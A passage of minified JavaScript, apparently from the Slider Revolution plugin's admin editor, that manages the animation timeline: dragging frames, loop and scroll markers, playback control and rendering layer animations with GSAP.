Start",icon:"access_time"}),RVS.F.updateAllstartRelatives(),RVS.F.backup({path:o.path+"start",lastkey:"start",val:Math.round(10*t.position.left),old:Math.round(10*t.originalPosition.left)}),RVS.F.backupChildren({childLayers:o.childLayers}),RVS.F.closeBackupGroup({id:"frame"}),RVS.F.renderLayerAnimation({layerid:o.layerid,timeline:"full",time:RVS.TL.timeBeforeFrameChange}),o.childLayers)o.childLayers.hasOwnProperty(i)&&RVS.F.renderLayerAnimation({layerid:i,timeline:"full",time:RVS.TL.timeBeforeFrameChange});RVS.TL.tS.classList.remove("frame_in_drag")},stopresize:function(e,t){for(var i in RVS.F.timelineDragsStop(),RVS.F.openBackupGroup({id:"frame",txt:o.frameName+" Speed",icon:"slow_motion_video"}),RVS.F.updateAllstartRelatives(),RVS.F.backup({path:o.path+"start",lastkey:"start",val:Math.round(10*t.position.left),old:Math.round(10*t.originalPosition.left)}),RVS.F.backup({path:o.path+"speed",lastkey:"speed",val:Math.round(10*t.size.width-n.cur.splitDelay),old:Math.round(10*t.originalSize.width-n.cur.splitDelay)}),RVS.F.closeBackupGroup({id:"frame"}),t.element.css({maxWidth:"none"}),RVS.F.renderLayerAnimation({layerid:o.layerid,timeline:"full",time:RVS.TL.timeBeforeFrameChange}),o.childLayers)o.childLayers.hasOwnProperty(i)&&RVS.F.renderLayerAnimation({layerid:i,timeline:"full",time:RVS.TL.timeBeforeFrameChange});RVS.TL.tS.classList.remove("frame_in_drag")}})},RVS.F.updateAllstartRelatives=function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&e>=0&&e<=9999)for(var t in RVS.L[e].timeline.frameOrder)if(RVS.L[e].timeline.frameOrder.hasOwnProperty(t)){var i=RVS.L[e].timeline.frameOrder[t].id;if("frame_0"!==i){var a=RVS.F.getPrevNextFrame({layerid:RVS.L[e].uid,frame:i});RVS.F.updateSliderObj({path:RVS.F.getLayerObjPath({layerid:RVS.L[e].uid,frame:i})+"startRelative",val:a.cur.start-a.prev.end})}}},RVS.F.getLayerObjPath=function(e){return RVS.S.slideId+".layers."+e.layerid+".timeline.frames."+e.frame+".timeline."},RVS.F.getPrevNextFrame=function(e){var t=RVS.L[e.layerid].timeline.frames[e.frame].timeline,i=RVS.F.getSplitDelay({layerid:e.layerid,frame:e.frame}),a=RVS.F.addT([t.start,t.speed,i]),r=RVS.F.getFirstFrame({layerid:e.layerid}),s={cur:{start:t.start,end:a,splitDelay:i,framelength:a-t.start},prev:{start:-1,end:0,frame:{}},next:{start:9999999,end:9999999,frame:{}}};for(var o in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(o)&&"frame_0"!==o&&o!==e.frame){var n=RVS.L[e.layerid].timeline.frames[o].timeline;n.starts.prev.start&&(s.prev={start:n.start,end:RVS.F.addT([n.start,n.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:o})]),frame:n,layerid:e.layerid,frameid:o}),n.start>t.start&&n.start=e.maxtime?(t.endframemarker.classList.add("endswithslide"),s.endWithSlide=!0):(t.endframemarker.classList.remove("endswithslide"),s.endWithSlide=!1))),a.actionTriggered=""!==RVS.F.layerFrameTriggeredBy({layerid:e.layerid,frame:e.frame}).uid&&RVS.F.layerFrameTriggered({layerid:e.layerid,frame:e.frame}),t.framedelay.textContent=a.actionTriggered?"a":!0===a.endWithSlide?RVS_LANG.framewait:a.start,null!=RVS.L[e.layerid].timeline&&(t.sloop.style.display=RVS.L[e.layerid].timeline.tloop.use&&RVS.L[e.layerid].timeline.tloop.from===e.frame?"block":"none",t.eloop.style.display=RVS.L[e.layerid].timeline.tloop.use&&RVS.L[e.layerid].timeline.tloop.to===e.frame?"block":"none"),t.framedelay.className=!0===a.endWithSlide?"coloredbg":a.actionTriggered&&e.frame===i?"coloredbgover":a.actionTriggered?"coloredbg":""}},RVS.F.updateAllLayerToIDLE=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.H[e]&&void 0!==RVS.H[e].timeline&&RVS.H[e].timeline.pause("frame_IDLE")},RVS.F.updateTimeLine=function(t){if(t.force&&void 0!==RVS.TL[RVS.S.slideId]&&void 0===RVS.TL[RVS.S.slideId].main&&RVS.F.buildMainTimeLine(),void 0===RVS.TL[RVS.S.slideId]||void 0===RVS.TL[RVS.S.slideId][t.timeline])return!1;switch("panzoom"===t.timeline&&(RVS.TL[RVS.S.slideId].slide.progress(1),RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(0)),(t.forceFullLayerRender||!0===e&&"main"===t.timeline)&&RVS.F.buildFullLayerAnimation("atstart"),t.state){case"play":if("main"===t.timeline&&(e=!1),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.play(),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.play(),RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.play(),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.play();break;case"stop":case"pause":for(var i in"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.pause(),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.pause(),RVS.L)RVS.L.hasOwnProperty(i)&&void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.pause();RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.pause();break;case"rewind":if("main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.time(0),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.time(0),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.time(0);RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.time(0);break;case"time":if("main"===t.timeline&&(e=0===t.time),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.time(t.time),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.time(t.time),RVS.TL[RVS.S.slideId].panzoom&&(void 0===t.time?RVS.TL[RVS.S.slideId].panzoom.progress(0):RVS.TL[RVS.S.slideId].panzoom.time(t.time)),t.time=0===t.time?"frame_IDLE":t.time,"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.time(t.time);break;case"progress":if("main"===t.timeline&&(e=0===t.prgs),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.progress(t.prgs),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(t.prgs),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.progress(t.prgs);RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.progress(t.prgs);break;case"getprogress":return RVS.TL[RVS.S.slideId][t.timeline].progress();case"getstate":return RVS.TL[RVS.S.slideId][t.timeline].isActive();case"idle":for(var i in RVS.TL.cache={},RVS.TL[RVS.S.slideId].main&&(RVS.TL.cache.main=RVS.TL[RVS.S.slideId].main.time()),RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.progress(0).pause(),RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(0).pause(),RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.progress(1).pause(),RVS.F.changeSwitchState({el:document.getElementById("timline_process"),state:"play"}),RVS.TL.timelineStartedFromPlayStop=!1,RVS.L)RVS.L.hasOwnProperty(i)&&void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.pause("frame_IDLE");e=!0}0!==t.time&&void 0!==t.time||tpGS.gsap.set(jQuery("rs-sbg-wrap.slotwrapper_cur"),{autoAlpha:1}),RVS.TL[RVS.S.slideId].main&&(RVS.TL.cache.main=RVS.TL[RVS.S.slideId].main.time()),RVS.TL.requestedTime=void 0===t.time?void 0!==RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0:t.time,t.updateCurTime&&RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:100*RVS.TL.cache.main,refreshMainTimeLine:!1})},RVS.F.getTimeAtSelectedFrameEnd=function(){var e=0;try{e=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.start/10+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength/10}catch(e){}return e},RVS.F.getTimeAtSelectedFrameMiddle=function(){var e=0;try{e=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.start/10+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength/10/2}catch(e){}return e},RVS.F.getTimeAtSelectedFrameStart=function(e){var t=0;try{t=RVS.L[RVS.selLayers[0]].timeline.frames[e].timeline.start/10}catch(e){}return t},RVS.F.timelineDragsStop=function(){RVS.TL.inDrag=!1,RVS.TL.over||RVS.F.goToIdle()},RVS.F.updateLoopInputs=function(e){e=null==e?{s:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.start,e:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.end}:e,jQuery("#slide_loop_end").val(e.e),jQuery("#slide_loop_start").val(e.s)},RVS.F.updateFixedScrollInputs=function(e){e=null==e?{s:RVS.SLIDER.settings.scrolltimeline.fixedStart,e:RVS.SLIDER.settings.scrolltimeline.fixedEnd}:e,jQuery("#fixed_scroll_end").val(e.e),jQuery("#fixed_scroll_start").val(e.s)},RVS.F.getTimeContents=function(e){var t={};return t.ctm=e.querySelector(".ctm"),t.cts=e.querySelector(".cts"),t.ctms=e.querySelector(".ctms"),t},RVS.F.initTimeLineConstruct=function(){t=jQuery("#time_linear"),tlrcanvas=t.find("#time_linear_canvas"),function(){var e=tlrcanvas[0].getContext("2d"),t=0;RVS.S.isRetina=void 0===RVS.S.isRetina?window.devicePixelRatio>1:RVS.S.isRetina,RVS.S.isIOS=void 0===RVS.S.isIOS?e.webkitBackingStorePixelRatio<2||null==e.webkitBackingStorePixelRatio:RVS.S.isIOS,RVS.S.retinaFactor=void 0===RVS.S.retinaFactor?RVS.S.isRetina&&RVS.S.isIOS?2:1:RVS.S.retinaFactor,e.canvas.width=16380*RVS.S.retinaFactor,e.canvas.height=35*RVS.S.retinaFactor,RVS.S.retinaFactor=parseInt(RVS.S.retinaFactor),e.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),e.strokeStyle="#414244",e.font="12px Arial",e.fillStyle="rgba(183,187,192,0.5)",e.beginPath();for(var i=0;i<1640;i++)t%20==0?(e.moveTo(10*i+1,28),e.lineTo(10*i+1,14)):t%10==0?(e.moveTo(10*i+1,28),e.lineTo(10*i+1,14)):(e.moveTo(10*i+1,28),e.lineTo(10*i+1,24)),t=20==++t?0:t;e.stroke();for(var i=0;i<164;i++)e.fillText(i+"s",100*i+5,20),t=2==++t?0:t}(),RVS.TL.TL=jQuery("#timeline"),RVS.TL.tS=document.getElementById("timeline_settings"),RVS.TL.ft=document.getElementById("frametime"),RVS.TL.ft_txt=RVS.F.getTimeContents(RVS.TL.ft),RVS.TL.mt=jQuery("#maxtime"),RVS.TL.mtfbg=jQuery("#slide_frame_container .frameswrap"),RVS.TL.mt_txt=RVS.F.getTimeContents(RVS.TL.mt[0]),RVS.TL.slts=jQuery("#slidelooptimestart"),RVS.TL.slts_marker=RVS.TL.slts.find(".timebox_marker"),RVS.TL.slts_txt=RVS.F.getTimeContents(RVS.TL.slts[0]),RVS.TL.slte=jQuery("#slidelooptimeend"),RVS.TL.slte_marker=RVS.TL.slte.find(".timebox_marker"),RVS.TL.slte_txt=RVS.F.getTimeContents(RVS.TL.slte[0]),RVS.TL.fixs=jQuery("#fixedscrolltimestart"),RVS.TL.fixs_marker=RVS.TL.fixs.find(".timebox_marker"),RVS.TL.fixs_txt=RVS.F.getTimeContents(RVS.TL.fixs[0]),RVS.TL.fixe=jQuery("#fixedscrolltimeend"),RVS.TL.fixe_marker=RVS.TL.fixe.find(".timebox_marker"),RVS.TL.fixe_txt=RVS.F.getTimeContents(RVS.TL.fixe[0]),RVS.TL.ct=jQuery("#currenttime"),RVS.TL.ct_marker=RVS.TL.ct.find(".timebox_marker"),RVS.TL.ct_txt=RVS.F.getTimeContents(RVS.TL.ct[0]),RVS.TL.ht=jQuery("#hovertime"),RVS.TL.ht_txt=RVS.F.getTimeContents(RVS.TL.ht[0]),RVS.F.updateMaxTime({pos:!0,cont:!0}),t.on("click",function(e){var t=e.pageX-310+RVS.TL._scrollLeft;RVS.F.updateCurTime({pos:!0,cont:!0,left:t,refreshMainTimeLine:!0,caller:"initTimeLineConstruct"})}),RVS.TL.fixs.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.fixe.position().left;t.position.left=t.position.left>=i?i:t.position.left,t.position.left=t.position.left<1?1:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.fixs.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixs.addClass("covered"):RVS.TL.fixs.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,start:Math.max(0,t.position.left),end:i}),RVS.F.updateFixedScrollInputs({e:10*i,s:10*Math.max(0,t.position.left)})},stop:function(e,t){var i=RVS.TL.fixe.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.fixs.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixs.addClass("covered"):RVS.TL.fixs.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,start:t.position.left,end:i}),RVS.F.openBackupGroup({id:"SliderFixedScrollStartTime",txt:"Fixed Scroll Start Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:"settings.scrolltimeline.fixedStart",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SliderFixedScrollStartTime"}),RVS.F.updateFixedScrollInputs()},axis:"x"}),RVS.TL.fixe.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.fixs.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{width:t.position.left-i}),RVS.TL.fixe.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixe.addClass("covered"):RVS.TL.fixe.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,end:t.position.left,start:i}),RVS.F.updateFixedScrollInputs({s:10*i,e:10*t.position.left})},stop:function(e,t){var i=RVS.TL.fixs.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{width:t.position.left-i}),RVS.TL.fixe.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixe.addClass("covered"):RVS.TL.fixe.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,end:t.position.left,start:i}),RVS.F.openBackupGroup({id:"SliderFixedScrollEndTime",txt:"Fixed Scroll End Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:"settings.scrolltimeline.fixedEnd",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SliderFixedScrollEndTime"}),RVS.F.updateFixedScrollInputs()},axis:"x"}),RVS.TL.slts.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.slte.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.slts.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slts.addClass("covered"):RVS.TL.slts.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,start:t.position.left,end:i}),RVS.F.updateLoopInputs({e:10*i,s:10*t.position.left})},stop:function(e,t){var i=RVS.TL.slte.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.slts.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slts.addClass("covered"):RVS.TL.slts.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,start:t.position.left,end:i}),RVS.F.openBackupGroup({id:"SlideLoopStartTime",txt:"Slide Loop Start Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.loop.start",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SlideLoopStartTime"}),RVS.F.updateLoopInputs()},axis:"x"}),RVS.TL.slte.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.slts.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{width:t.position.left-i}),RVS.TL.slte.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slte.addClass("covered"):RVS.TL.slte.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,end:t.position.left,start:i}),RVS.F.updateLoopInputs({s:10*i,e:10*t.position.left})},stop:function(e,t){var i=RVS.TL.slts.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{width:t.position.left-i}),RVS.TL.slte.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slte.addClass("covered"):RVS.TL.slte.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,end:t.position.left,start:i}),RVS.F.openBackupGroup({id:"SlideLoopEndTime",txt:"Slide Loop End Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.loop.end",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SlideLoopEndTime"}),RVS.F.updateLoopInputs()},axis:"x"}),RVS.TL.ct.draggable({start:function(e,t){RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||(RVS.F.buildMainTimeLine(),RVS.TL.ht.addClass("hideme"),RVS.TL.inDrag=!0,RVS.TL[RVS.S.slideId]&&void 0!==RVS.TL[RVS.S.slideId].slide&&RVS._R.transitions.motionFilter.clearFull(RVS.SBGS[RVS.S.slideId].n,RVS.TL[RVS.S.slideId].slide))},stop:function(e,t){RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.isActive()||(RVS.TL.ct.offset().left-RVS.TL.TL.offset().left<265?RVS.TL.ct.addClass("covered"):RVS.TL.ct.removeClass("covered"),RVS.TL.ht.removeClass("hideme"),RVS.F.timelineDragsStop())},drag:function(e,t){RVS.SBGS[RVS.S.slideId].n.fmExists&&(RVS.SBGS[RVS.S.slideId].n.timeDirection=t.position.left>RVS.SBGS[RVS.S.slideId].n.lastProcess?"forwards":t.position.left0?(RVS.TL.ct[0].classList.add("inmove"),y(e.left,RVS.TL.ct_txt)):RVS.TL.ct[0].classList.remove("inmove"),RVS.F.updateCoveredTimelines()),e.refreshMainTimeLine&&(e.left/100<=0?RVS.F.updateTimeLine({force:e.force,state:"idle",timeline:"main",caller:"UpdateCurTime A"}):RVS.F.updateTimeLine({force:e.force,state:"time",time:e.left/100,timeline:"main",freeze:e.freeze}))},RVS.F.updateSlideLoopTimes=function(e){e.pos&&(tpGS.gsap.set(RVS.TL.slts,{left:e.start+"px"}),tpGS.gsap.set(RVS.TL.slte,{left:e.end+"px"}),tpGS.gsap.set(".slidelooptimemarker",{left:e.start,width:e.end-e.start})),e.cont&&(y(e.start,RVS.TL.slts_txt),y(e.end,RVS.TL.slte_txt))},RVS.F.updateFixedScrollTimes=function(e){e.pos&&(tpGS.gsap.set(RVS.TL.fixs,{left:e.start+"px"}),tpGS.gsap.set(RVS.TL.fixe,{left:e.end+"px"}),tpGS.gsap.set(".fixedscrolltimemarker",{left:e.start,width:e.end-e.start})),e.cont&&(y(e.start,RVS.TL.fixs_txt),y(e.end,RVS.TL.fixe_txt))},RVS.F.updateHoverTime=function(e){RVS.TL.hoverTimeLeft=void 0===e.left?RVS.TL.hoverTimeLeft:e.left,RVS.TL.hoverTimeLeft=void 0===RVS.TL.hoverTimeLeft?0:RVS.TL.hoverTimeLeft,RVS.TL._scrollLeft=void 0===RVS.TL._scrollLeft?0:RVS.TL._scrollLeft,e.pos&&tpGS.gsap.set(RVS.TL.ht,{left:e.left+"px"}),e.cont&&y(RVS.TL.hoverTimeLeft+RVS.TL._scrollLeft,RVS.TL.ht_txt)},RVS.F.updateFrameTime=function(e){RVS.TL.frameTimeLeft=void 0===e.left?RVS.TL.frameTimeLeft:e.left,RVS.TL.frameTimeLeft=void 0===RVS.TL.frameTimeLeft?0:RVS.TL.frameTimeLeft,RVS.TL._scrollLeft=void 0===RVS.TL._scrollLeft?0:RVS.TL._scrollLeft,e.pos&&tpGS.gsap.set(RVS.TL.ft,{left:e.left+"px"}),e.cont&&y(RVS.TL.frameTimeLeft,RVS.TL.ft_txt)},RVS.F.getLayerFrames=function(e){var t=void 0===e.extend?{}:e.extend;for(var i in t[e.layerid]={type:RVS.L[e.layerid].type,frames:{}},RVS.L[e.layerid].timeline.frameOrder)if(RVS.L[e.layerid].timeline.frameOrder.hasOwnProperty(i)){var a=RVS.L[e.layerid].timeline.frameOrder[i].id;void 0!==e.afterStart?(RVS.L[e.layerid].timeline.frames[a].timeline.start>e.afterStart&&"frame_999"!==a&&(t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start),"frame_999"===a&&!0===e.include999&&(t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start)):t[e.layerid].frames[a]=RVS.L[e.layerid].timeline.frames[a].timeline.start}return t},RVS.F.getLayersEndWithSlide=function(){var e={};for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t&&(e[t]={type:RVS.L[t].type,endWithSlide:RVS.L[t].timeline.frames.frame_999.timeline.endWithSlide,frames:{frame_999:RVS.L[t].timeline.frames.frame_999.timeline.start}});return e},RVS.F.getSlideLayersEndWithSlide=function(e){if(null==RVS.SLIDER[e])return{};var t={};for(var i in RVS.SLIDER[e].layers)RVS.SLIDER[e].layers.hasOwnProperty(i)&&"top"!==i&&"bottom"!==i&&"middle"!==i&&(t[i]={type:RVS.SLIDER[e].layers[i].type,endWithSlide:RVS.SLIDER[e].layers[i].timeline.frames.frame_999.timeline.endWithSlide,frames:{frame_999:RVS.SLIDER[e].layers[i].timeline.frames.frame_999.timeline.start}});return t},RVS.F.clearLayerAnimation=function(e){RVS.H[e.layerid].timeline.clear()},RVS.F.formatTime=function(e){e*=1e3;var t=parseInt(e%1e3/10),i=parseInt(e/1e3%60),a=parseInt(e/6e4%60);return(a=a<10?"0"+a:a)+":"+(i=i<10?"0"+i:i)+":"+(t=t<10?"0"+t:t)},RVS.F.updateSplitContent=function(e){var t=!1;if(RVS.H[e.layerid].splitText&&RVS.H[e.layerid].splitText.revert(),"text"===RVS.L[e.layerid].type||"button"===RVS.L[e.layerid].type){for(var i in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(i)&&(RVS.L[e.layerid].timeline.frames[i].chars.use||RVS.L[e.layerid].timeline.frames[i].words.use||RVS.L[e.layerid].timeline.frames[i].lines.use)){t=!0;break}RVS.H[e.layerid].splitText=t?new tpGS.SplitText(RVS.H[e.layerid].c,{type:"lines,words,chars",wordsClass:"rs_splitted_words",linesClass:"rs_splitted_lines",charsClass:"rs_splitted_chars"}):void 0}else RVS.H[e.layerid].splitText=void 0;return t},RVS.F.getFrameOrder=function(e){for(var t in RVS.L[e.layerid].timeline.frameOrder=[],RVS.L[e.layerid].timeline.frames)RVS.L[e.layerid].timeline.frames.hasOwnProperty(t)&&RVS.L[e.layerid].timeline.frameOrder.push({id:t,start:"frame_0"===t?-1:RVS.L[e.layerid].timeline.frames[t].timeline.start});RVS.L[e.layerid].timeline.frameOrder.sort(function(e,t){return e.start-t.start}),RVS.L[e.layerid].timeline.frameToIdle=void 0===RVS.L[e.layerid].timeline.frameToIdle?"frame_1":RVS.L[e.layerid].timeline.frameToIdle},RVS.F.renderLayerAnimation=function(t){var i=RVS.H[t.layerid],a=RVS.L[t.layerid],r=600;if(void 0!==RVS.TL[RVS.S.slideId].layers&&void 0!==RVS.TL[RVS.S.slideId].layers[t.layerid]&&void 0!==i&&void 0!==a.timeline&&void 0!==a.timeline.frames){i.timeline&&i.timeline.pause("frame_IDLE"),i.timeline=new tpGS.TimelineMax({paused:!0});var s=("text"===a.type||"button"===a.type)&&RVS.F.updateSplitContent({layerid:t.layerid});a.timeline.split=s,RVS.F.getFrameOrder({layerid:t.layerid});var o=RVS.F.getFirstFrame({layerid:t.layerid});for(var n in a.timeline.frameOrder)if(a.timeline.frameOrder.hasOwnProperty(n)){var l=a.timeline.frameOrder[n].id;if("frame_0"!==l){var S=void 0===t.frameObj||t.frame!==l?a.timeline.frames[l]:t.frameObj;a.timeline.sessionFilterUsed=RVS.F.checkGlobalFiltersOnLayer(t.layerid),"frame_999"===l&&a.timeline.frames.frame_999.timeline.auto&&((S=jQuery.extend(!0,{},a.timeline.frames.frame_999)).transform=jQuery.extend(!0,{},a.timeline.frames.frame_0.transform),S.mask=jQuery.extend(!0,{},a.timeline.frames.frame_0.mask),S.words=jQuery.extend(!0,{},a.timeline.frames.frame_0.words),S.lines=jQuery.extend(!0,{},a.timeline.frames.frame_0.lines),S.chars=jQuery.extend(!0,{},a.timeline.frames.frame_0.chars),S.sfx=jQuery.extend(!0,{},a.timeline.frames.frame_0.sfx),S.filter=jQuery.extend(!0,{},a.timeline.frames.frame_0.filter),S.bfilter=jQuery.extend(!0,{},a.timeline.frames.frame_0.bfilter),S.color=jQuery.extend(!0,{},a.timeline.frames.frame_0.color),S.bgcolor=jQuery.extend(!0,{},a.timeline.frames.frame_0.bgcolor));var y=l===o?a.timeline.frames.frame_0:void 0,g=RVS.TL[RVS.S.slideId].layers[t.layerid][l],f=i.c,h=V(S.sfx.effect,i.m,S.timeline.ease),v=new tpGS.TimelineMax,_=S.timeline.speed/1e3,L=0;g.timeline=new tpGS.TimelineMax,"block"===h.type&&(h.ft[0].background=window.RSColor.get(S.sfx.color),g.timeline.add(tpGS.gsap.fromTo(h.bmask_in,_/2,h.ft[0],h.ft[1],0)),g.timeline.add(tpGS.gsap.fromTo(h.bmask_in,_/2,h.ft[1],h.t,_/2)),"frame_0"===l||"frame_1"===l?g.timeline.add(v.staggerFromTo(f,.05,{autoAlpha:0},{autoAlpha:1,delay:_/2},0),0):"frame_999"===l&&g.timeline.add(v.staggerFromTo(f,.05,{autoAlpha:1},{autoAlpha:0,delay:_/2},0),0));var w,b=m({sessionFilterUsed:a.timeline.sessionFilterUsed,frame:S,layerid:t.layerid,ease:S.timeline.ease,splitAmount:f.length,target:l}),I=l===o?m({sessionFilterUsed:a.timeline.sessionFilterUsed,frame:y,layerid:t.layerid,ease:S.timeline.ease,splitAmount:f.length,target:"frame_0"}):void 0,F="true"==S.mask.use||1==S.mask.use?m({frame:{transform:{x:S.mask.x,y:S.mask.y,clip:S.mask.clip}},layerid:t.layerid,ease:b.ease,target:"mask"}):void 0,D=l===o?m({frame:{transform:{x:y.mask.x,y:y.mask.y,clip:y.mask.clip}},layerid:t.layerid,ease:b.ease,target:"frommask"}):void 0,x=b.ease;if(void 0!==S.color&&S.color.use?b.color=window.RSColor.get(S.color.color):b.color=window.RSColor.get(a.idle.color[RVS.screen].v),void 0!==y&&(void 0!==y.color&&y.color.use?I.color=window.RSColor.get(y.color.color):I.color=window.RSColor.get(a.idle.color[RVS.screen].v)),void 0!==S.bgcolor&&S.bgcolor.use)(w=window.RSColor.get(S.bgcolor.backgroundColor)).indexOf("gradient")>=0?b.background=w:b.backgroundColor=w;else(w=window.RSColor.get(a.idle.backgroundColor)).indexOf("gradient")>=0?b.background=w:b.backgroundColor=w;if(void 0!==y)if(void 0!==y.bgcolor&&y.bgcolor.use)(w=window.RSColor.get(y.bgcolor.backgroundColor)).indexOf("gradient")>=0?I.background=w:I.backgroundColor=w;else(w=window.RSColor.get(a.idle.backgroundColor)).indexOf("gradient")>=0?I.background=w:I.backgroundColor=w;var k=0;if(s)for(var C in d)if(d.hasOwnProperty(C)&&S[d[C]].use&&!t.quickRendering){var O=i.splitText[d[C]],T=m({frame:S,source:d[C],ease:x,layerid:t.layerid,splitAmount:O.length,target:l+"_"+d[C]}),j=l===o?m({frame:y,ease:T.ease,source:d[C],layerid:t.layerid,splitAmount:O.length,target:"frame_0_"+d[C]}):void 0;L=parseInt(S[d[C]].delay,0)/100,window.RSColor.get(a.idle.color[RVS.screen].v)===b.color&&"frame_1"===l||(T.color=b.color),void 0!==I&&window.RSColor.get(a.idle.color[RVS.screen].v)!==I.color&&(j.color=I.color),void 0!==j&&j.color!==b.color&&(T.color=b.color);var E=R(jQuery.extend(!0,{},T)),A=l===o?R(jQuery.extend(!0,{},j)):void 0,M=p(S[d[C]].direction);delete E.grayscale,delete E.brightness,void 0!==A&&(delete A.grayscale,delete 